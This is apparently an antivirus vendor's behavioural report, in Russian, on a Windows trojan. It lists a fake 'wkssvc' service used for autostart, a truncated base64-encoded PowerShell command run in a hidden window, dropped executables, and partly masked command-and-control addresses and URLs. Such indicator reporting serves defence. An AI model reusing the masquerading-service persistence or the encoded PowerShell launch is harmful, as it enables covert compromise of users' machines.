Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\wkssvc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wkssvc] 'ImagePath' = '"<SYSTEM32>\msexch40\wkssvc.exe"'
Создает следующие сервисы
- 'wkssvc' "<SYSTEM32>\msexch40\wkssvc.exe"
- 'wkssvc' <SYSTEM32>\msexch40\wkssvc.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9AC...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\848.exe
Перемещает следующие файлы
- %HOMEPATH%\848.exe в <SYSTEM32>\msexch40\wkssvc.exe
Сетевая активность
Подключается к
- '82.##.111.249':443
- '11#.#25.120.88':443
- '21#.#60.182.191':8080
- '18#.#.185.98':8080
- '18#.#94.58.119':80
- '21#.#81.91.224':80
- '21#.#2.13.25':80
TCP
Запросы HTTP GET
- http://sa####ng-group.com/J0Eubtq06/
Запросы HTTP POST
- http://18#.#94.58.119/xyBOcdl1/33xyWC/gwOxHkLr0l0Q/
UDP
- DNS ASK sa####ng-group.com
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\848.exe'
- '<SYSTEM32>\msexch40\wkssvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9AC...' (со скрытым окном)
